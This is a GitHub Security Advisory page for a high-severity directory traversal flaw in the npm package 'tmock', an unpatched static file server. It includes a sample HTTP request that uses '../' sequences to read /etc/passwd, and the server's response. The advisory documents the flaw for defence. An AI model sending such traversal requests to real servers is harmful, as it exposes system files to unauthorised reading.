Loading HuntDB...

GHSA-j6w4-pg6p-5mrv

GitHub Security Advisory

Directory Traversal in tmock

✓ GitHub Reviewed HIGH Has CVE

Advisory Details

`tmock` is a static file server.

`tmock` is vulnerable to a directory traversal issue, giving an attacker access to the filesystem by placing "../" in the url.

**Example request:**
```http
GET /../../../../../../../../../../etc/passwd HTTP/1.1
host: localhost
```
and server Response:
```http
HTTP/1.1 200 OK
Date: Thu, 04 May 2017 23:59:18 GMT
Connection: keep-alive
Transfer-Encoding: chunked

{contents of /etc/passwd}
```

## Recommendation

No patch is available for this vulnerability.

It is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.

Affected Packages

npm tmock
Affected versions: 0 (last affected: 0.0.7)

Related CVEs

Key Information

GHSA ID
GHSA-j6w4-pg6p-5mrv
Published
July 23, 2018 11:51 PM
Last Modified
September 12, 2023 9:19 PM
CVSS Score
7.5 /10
Primary Ecosystem
npm
Primary Package
tmock
GitHub Reviewed
✓ Yes

Dataset

Last updated: July 5, 2025 6:26 AM

Data from GitHub Advisory Database. This information is provided for research and educational purposes.